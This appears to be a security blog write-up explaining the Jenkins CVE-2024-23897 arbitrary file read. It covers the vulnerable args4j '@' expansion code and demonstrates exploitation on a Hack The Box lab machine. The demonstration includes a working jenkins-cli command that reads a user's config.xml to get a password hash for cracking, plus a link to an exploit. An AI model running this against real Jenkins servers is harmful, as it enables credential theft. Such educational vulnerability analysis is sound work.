---
description: Explaining the jenkins arbitrary file read vulnerability
---

# CVE Explained CVE-2024-23897

***

references

* [Jenkins-Security-Advisory](https://www.jenkins.io/security/advisory/2024-01-24/)
* [CYFIRMA](https://www.cyfirma.com/research/jenkins-cve-2024-23897-vulnerability-analysis-and-exploitation/)
* [TRENDMICRO](https://www.trendmicro.com/en_us/research/24/c/cve-2024-23897.html)

Exploits:

* My python exploit [Here](https://github.com/Anekant-Singhai/Exploits/tree/master/CVE-2024-23897)

***

**Vulnerability Type:** Unauthenticated Remote Code Execution (RCE)\
**CVE ID:** CVE-2024-23897\
**CVSS Severity Score:** 9.8 (Critical)\
**Application:** Jenkins\
**Impact:** Allows unauthenticated attackers to execute arbitrary code and read arbitrary files by exploiting a critical remote code execution vulnerability.\
**Severity:** Critical\
**Affected Versions:** Multiple versions of Jenkins are impacted. Check [here](https://www.jenkins.io/security/advisory/2024-01-24/)\
**Patch Available:** Yes\
**Mitigation:** Organizations are strongly advised to apply the latest security updates and patches promptly. **Affected Versions:** Jenkins 2.441 and earlier, LTS 2.426.2 and earlier.

***

## The Vulnerability

The exploitation is possible from `HTTP` ,`CLI`, `websockets`.

**The flow**

The attacker endpoint makes two different `POST` request.&#x20;

<figure><img src="https://198480966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnprEgZpMZTRw7KuX7Jsi%2Fuploads%2FgGZoqvG0PKewVmRSnupu%2FPasted%20image%2020240504161546.png?alt=media&#x26;token=a2c7b30e-8ca0-4470-982a-302c882c37ec" alt=""><figcaption><p>The flow of request</p></figcaption></figure>

**Post Request 1**

The first `POST` request makes an `upload` request containing the commands and it's arguments.

**Post Request 2**

The second post request is for the commands to executed and contains the result by the first post request and download the contents of the result.

**Why is it happening**

Now the whole process involves these methods which start a domino effect that eventually leads to catastrophe , these methods are:

1. CliCrumbExecution : To Validate endpoint via `process` function

```java
public class CliCrumbExclusion extends CrumbExclusion {
    @Override
    public boolean process(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws IOException, ServletException {
        String pathInfo = request.getPathInfo();
        if ("/cli".equals(pathInfo)) {
            chain.doFilter(request, response);
            return true;
        }
        return false;
    }
}
```

2. FullDuplexHttpService : This handles the `request` and `response` via 3 methods:
   1. generateResponse:
      1. This method calls the other two methods on the basis of header called `side` and seeing the `uuid` string {which we generated random in exploit}
      2.

          <figure><img src="https://198480966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnprEgZpMZTRw7KuX7Jsi%2Fuploads%2FSxBqOJms14SIak4JbLY7%2FPasted%20image%2020240504151444.png?alt=media&#x26;token=f25a4f9c-bba6-478e-8cc8-0b08b3a46148" alt=""><figcaption><p>Look at the Session header and Side header {You'll understand the exploit written}</p></figcaption></figure>
   2. Download
   3. Upload
3. PlainCLIProtocol: This is the method that continuously reads frames from the input stream and handles frame on it's length
4. CLICommand: This method actually contains the vulnerable code which is the `CmdLineParser` which is the part of the `args4j` library responsible for the vulnerability.

<figure><img src="https://198480966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnprEgZpMZTRw7KuX7Jsi%2Fuploads%2Ft17gWjJeOSTDpADfcB2t%2FPasted%20image%2020240504155343.png?alt=media&#x26;token=fcdc65e2-2091-4551-add8-6822adee60be" alt=""><figcaption><p>Calling the args4j's method CmdLineParser</p></figcaption></figure>

&#x20;Now when we look at the code for this `args4j` -> we find this `parseArgument` function which eventually calls the `expandAtFiles` method which is the actual vulnerable code:

<figure><img src="https://198480966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnprEgZpMZTRw7KuX7Jsi%2Fuploads%2FdPcRRC8IwVf5GAxNEd1j%2FPasted%20image%2020240504160123.png?alt=media&#x26;token=83a30569-d7b6-4984-af6d-2910d499b48c" alt=""><figcaption><p>Calling the actual vulnerable function</p></figcaption></figure>

&#x20;now look at this function :&#x20;

<figure><img src="https://198480966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnprEgZpMZTRw7KuX7Jsi%2Fuploads%2Fk61Rg8ikGgm1ZasaO9jP%2FPasted%20image%2020240504160428.png?alt=media&#x26;token=d7c53064-48d7-450a-938f-fda605645f01" alt=""><figcaption></figcaption></figure>

&#x20;what it does:

2. For each element, if it starts with the character `'@'`, it is treated as a file reference. It then:
   * Removes the `'@'` character from the beginning to obtain the file path.
   * Checks if the file exists. If not, it throws a `CmdLineException` with an appropriate error message.
   * Reads all lines from the file and adds them to the `result` list.

## How to exploit:

Using the HACK-THE-BOX's machine called [Builder](https://app.hackthebox.com/machines/Builder) for such.

#### CLI Version

[Jenkins](https://www.jenkins.io/doc/book/managing/cli/#downloading-the-client) says that we can access the jenkins via the `jenkins-cli` and download when we setup jenkins , now since we have the jenkins already setup , we can download it from here: See that's why I said earlier `websocket` and `HTTP`:&#x20;

<figure><img src="https://198480966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnprEgZpMZTRw7KuX7Jsi%2Fuploads%2FjgRa9yTlFFclLUU5bMdg%2FPasted%20image%2020240504161023.png?alt=media&#x26;token=6eb70b16-10af-4fa6-b6a4-a19a575a2195" alt=""><figcaption><p>They also tell us how to </p></figcaption></figure>

```
wget http://10.10.11.10:8080/jnlpJars/jenkins-cli.jar
```

we send the request:&#x20;

<figure><img src="https://198480966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnprEgZpMZTRw7KuX7Jsi%2Fuploads%2FPvDCCi670mVIBDnr2mD5%2FPasted%20image%2020240504162007.png?alt=media&#x26;token=4aebf61a-ac6a-4354-a2d9-28af500b377d" alt=""><figcaption><p>We also get the response in form of error</p></figcaption></figure>

Looking at the wireshark for what it did in bg:

<figure><img src="https://198480966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnprEgZpMZTRw7KuX7Jsi%2Fuploads%2FACK7Y9d0t0g8TdIrlf9c%2FPasted%20image%2020240504161902.png?alt=media&#x26;token=dfc49ea6-570d-46be-9a08-2c3777115583" alt=""><figcaption><p>The packets we sent</p></figcaption></figure>

<figure><img src="https://198480966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnprEgZpMZTRw7KuX7Jsi%2Fuploads%2FqWDdR2FuOx63I7NbFf09%2FPasted%20image%2020240504161923.png?alt=media&#x26;token=4f083042-9018-4e25-9bbc-57b27420d36c" alt=""><figcaption><p>The response we get</p></figcaption></figure>

**Reading Sensitive files**

Now what I can do here is read the files which contains the hash of the user :

```
java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' reload-job '@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml'
```

<figure><img src="https://198480966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnprEgZpMZTRw7KuX7Jsi%2Fuploads%2F1U4V2yS0i2ti6Rt7x7fu%2FPasted%20image%2020240504162525.png?alt=media&#x26;token=861cb0af-222a-4eec-a7e8-7eb5e2598e1c" alt=""><figcaption></figcaption></figure>

&#x20;I can leverage this information and get the password by cracking it , considering the possibility , it's weak.

I also wrote the python exploit for the same , can be accessed [here](https://github.com/Anekant-Singhai/Exploits/tree/master/CVE-2024-23897)
